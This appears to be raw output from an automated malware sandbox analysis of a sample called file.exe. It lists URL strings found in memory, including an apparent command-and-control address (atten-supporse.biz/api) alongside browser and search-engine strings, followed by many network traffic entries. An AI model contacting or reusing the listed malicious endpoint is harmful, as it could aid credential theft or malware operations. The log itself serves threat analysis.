Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_105.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_105.6.dr, chromecache_106.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_105.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2406624241.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.2212159074.000000000537B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279673811.0000000005371000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211464582.0000000005377000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214165102.000000000537B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238295310.0000000005378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz//
Source: file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/Q
Source: file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262556992.000000000084F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238132743.000000000086E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279805111.000000000086E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2406624241.000000000082F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.2265924815.000000000086E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279805111.000000000086E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api7
Source: file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: chromecache_105.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_105.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_105.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_86.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_86.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2214065175.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2214065175.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
